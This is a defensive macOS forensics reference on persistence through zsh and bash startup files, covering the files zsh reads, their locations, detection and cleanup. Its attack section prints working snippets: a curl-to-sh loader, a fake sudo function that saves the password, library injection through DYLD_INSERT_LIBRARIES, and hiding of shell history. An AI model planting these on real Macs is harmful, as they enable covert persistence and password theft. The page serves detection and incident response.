Skip to content

Each new shell

Shell Startup Files: macOS Persistence via .zshrc

How zsh and bash startup files give persistence on macOS: /etc/zshrc, ~/.zshrc, ~/.zshenv, aliases and prompt hooks, and how to check and clean a Mac.

MITRE ATT&CK
T1546.004
Tactics
Persistence, Execution, Credential access
Runs
Each new shell
Set up by
Users and root
Locations
  • /etc/zshenv
  • /etc/zprofile
  • /etc/zshrc
  • /etc/zlogin
  • ~/.zshenv
  • ~/.zprofile
  • ~/.zshrc
  • ~/.zlogin
  • ~/.bash_profile
  • ~/.bashrc

How it works

zsh has been the default login shell for new accounts since macOS 10.15 Catalina. Accounts created on older releases may still use /bin/bash (bash 3.2), and the account record's UserShell attribute says which shell an account uses. Every zsh start reads a fixed sequence of files, and anything in them runs as the user, with the user's environment, before the first prompt.

zsh reads, in order (man zsh, STARTUP/SHUTDOWN FILES):

FileWhen
/etc/zshenv, then $ZDOTDIR/.zshenvEvery zsh, including scripts and zsh -c
/etc/zprofile, then $ZDOTDIR/.zprofileLogin shells
/etc/zshrc, then $ZDOTDIR/.zshrcInteractive shells
/etc/zlogin, then $ZDOTDIR/.zloginLogin shells, after zshrc
$ZDOTDIR/.zlogout, then /etc/zlogoutWhen a login shell exits

ZDOTDIR defaults to the home folder.

Terminal opens login shells. Terminal.app opens every window and tab as a login shell, and most third-party terminals do the same, so each new window reads the zprofile, zshrc and zlogin files. SSH logins are login shells too. A #!/bin/zsh script reads only the zshenv files, which is what makes ~/.zshenv the broadest per-user trigger.

Apple's stock files. /etc/zprofile runs path_helper. /etc/zshrc sets history and the prompt, then sources /etc/zshrc_$TERM_PROGRAM, which in Terminal is /etc/zshrc_Apple_Terminal. That file legitimately installs precmd hooks for Terminal's working-directory and session-restore features. /etc/zshenv and /etc/zlogin do not exist by default.

bash. A bash login shell reads /etc/profile, which on macOS sources /etc/bashrc and through it /etc/bashrc_$TERM_PROGRAM. It then reads the first of ~/.bash_profile, ~/.bash_login and ~/.profile. Interactive non-login bash reads ~/.bashrc.

Execution context. Code in these files runs inside the terminal app's process tree, so macOS privacy controls (TCC) attribute its file access to the terminal. If Terminal has Full Disk Access, so does a payload started from ~/.zshrc. Whether sudo -s reads the invoking user's ~/.zshrc as root depends on whether sudoers keeps HOME, so check that on the host. /etc is /private/etc on the Data volume, not on the sealed system volume, so root can change Apple's files there.

Where it lives

PathWhatWho can write it
/etc/zshenv, /etc/zlogin, /etc/zlogoutSystem-wide zsh files; absent by defaultroot
/etc/zprofile, /etc/zshrcApple's system-wide zsh filesroot
/etc/zshrc_Apple_Terminal, /etc/bashrc_Apple_TerminalSourced for Terminal.app sessionsroot
/etc/profile, /etc/bashrcSystem-wide bash and sh filesroot
~/.zshenv, ~/.zprofile, ~/.zshrc, ~/.zlogin, ~/.zlogoutPer-user zsh filesthe user
~/.bash_profile, ~/.bash_login, ~/.profile, ~/.bashrcPer-user bash filesthe user
/var/root/.zshrc and the other root dotfilesroot's own shells (sudo -i)root

How attackers use it

A launcher sourced from ~/.zshrc. No admin rights are needed, no notification fires, and nothing appears in Login Items. Microsoft reported in 2025 that a new XCSSET variant persists this way: it writes its payload to ~/.zshrc_aliases and adds a line to ~/.zshrc that runs it in every new shell. The pattern:

# appended to ~/.zshrc
[ -f ~/.zshrc_aliases ] && source ~/.zshrc_aliases
# ~/.zshrc_aliases
(curl -fsSL https://example.com/s | sh >/dev/null 2>&1 &)

Capturing the sudo password. A function or alias named after sudo prompts like sudo, saves the password, then calls the real command:

sudo() {
  printf 'Password:' >&2; read -rs p; echo >&2
  printf '%s\n' "$p" >> /Users/alice/Library/.cache/.p
  printf '%s\n' "$p" | command sudo -S "$@"
}

Every zsh, not just Terminal. ~/.zshenv, or /etc/zshenv with root, also runs for zsh scripts and for zsh -c commands started by apps and build tools:

pgrep -qf '/Users/alice/Library/.x/agent' || (nohup /Users/alice/Library/.x/agent >/dev/null 2>&1 &)

Injection and stealth. DYLD_INSERT_LIBRARIES exported from a startup file loads a library into programs launched from the shell. System Integrity Protection strips it for protected system binaries and the hardened runtime ignores it, but unhardened third-party tools load it. Prompt hooks record commands, and history is switched off to hide the session (see history tampering):

export DYLD_INSERT_LIBRARIES=/Users/alice/Library/.x/libhook.dylib
precmd() { fc -ln -1 >> /Users/alice/Library/.x/.h }
unset HISTFILE

How to check a host

Read these files; never test them by opening a shell on a suspect Mac, because that executes them. Work from bash --noprofile --norc: zsh -f still reads /etc/zshenv.

dscl . -read /Users/alice UserShell NFSHomeDirectory
ls -la@ /Users/alice/.z* /Users/alice/.bash* /Users/alice/.profile 2>/dev/null
ls -le@ /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout /etc/profile /etc/bashrc /etc/*_Apple_Terminal 2>/dev/null
grep -nE 'alias (sudo|su|ssh|ls|ps)=|(sudo|ssh|su) *\(\)|precmd|PROMPT_COMMAND|DEBUG|DYLD_|curl|base64|nohup|source |^\. |ZDOTDIR' \
  /Users/alice/.z* /Users/alice/.bash* /Users/alice/.profile /etc/z* /etc/profile /etc/bashrc* 2>/dev/null
stat -f '%SB %Sm %Sc %N' /Users/alice/.zshrc /Users/alice/.zshenv /etc/zshrc
sudo ls -la /var/root/.z* /var/root/.bash* /var/root/.profile 2>/dev/null

Follow every source or . line and read the files it pulls in. Check for a ZDOTDIR that moves the user files elsewhere. Compare Apple's /etc files with a clean Mac of the same release. Compare the birth, modification and change times. Appending with >> keeps the birth time and moves the other two, while many editors replace the whole file and reset all three. For any program a line starts, check codesign -dv --verbose=4 and spctl -a -vv.

Offline, read the same files from the collection and compare them with the user's shell history. The macOS Persistence tool parses them in the browser. The collection command takes Apple's /etc zsh and bash files and every user's .z*, .bash* and .profile. Add /etc/*_Apple_Terminal, /etc/zlogout, root's dotfiles and any file they source.

What macOS Persistence flags

Each startup file becomes one entry, with up to 12 matching lines as facts. Login files (/etc/zprofile, /etc/zlogin, .zprofile, .zlogin, .bash_profile, .bash_login, .profile, /etc/profile) are filed under login, and the others under every new shell.

  • Alias replaces command: an alias over a credential command (sudo, su, ssh, scp, sftp, passwd, kinit, gpg, mysql, psql; high) or over a command used to inspect the system (ls, ps, lsof, netstat, launchctl, crontab, find, grep, codesign, spctl, xattr and others; medium). An alias that only adds options to the same command, such as alias ls='ls -G', is ignored.
  • Function replaces command: a shell function with one of those names.
  • Runs code at every prompt: a zsh precmd function, precmd_functions or add-zsh-hook precmd, or bash PROMPT_COMMAND.
  • DEBUG trap: trap … DEBUG, which runs code before every command.
  • The command heuristics on each line, notably Injects a library (DYLD_), Sets LD_PRELOAD, Turns shell history off, Downloads and runs code, Decodes and runs a payload, Interpreter with inline code, Detaches from the session, Runs from a temporary or shared folder, Runs from a hidden folder and Embedded encoded blob.
  • Changed date: the file was modified within the 7 days before the newest file in the collection.

Apple's stock /etc/zprofile, /etc/zshrc, /etc/profile and /etc/bashrc come out unflagged. Shell files have no single command, so the cross-mechanism check does not apply, and no package data covers them.

Limits:

  • The tool reads only /etc/zshenv, zprofile, zshrc, zlogin, zlogout, profile and bashrc, and the same dotfiles in /Users/* and /var/root.
  • It does not read /etc/zshrc_Apple_Terminal, files reached through source or ZDOTDIR, or framework plugins. source lines themselves are not flagged, so a one-line loader like XCSSET's shows up unflagged.
  • Indirection such as building a command from variables defeats the text patterns.

Cleaning up

  1. Preserve first: cp -p every startup file and everything they source, record stat -f '%SB %Sm %Sc %N', hash with shasum -a 256, and copy the shell history (~/.zsh_history, ~/.zsh_sessions/, ~/.bash_history).
  2. Edit out the planted lines, or restore Apple's /etc files from a clean Mac of the same release. Do it from bash --noprofile --norc so you do not run them again.
  3. Kill whatever the files started (pgrep -fl on the paths you found) and delete the payloads and libraries.
  4. Check the other accounts and root, then the places that usually come with it: LaunchAgents, crontabs and authorized_keys.
  5. If an alias or function wrapped sudo, ssh or su, treat every password typed since then as stolen. Change the account password, SSH key passphrases and anything else entered in that shell.

References

See also

On Mac Forensics

The artifacts behind this technique, in the Mac Forensics reference: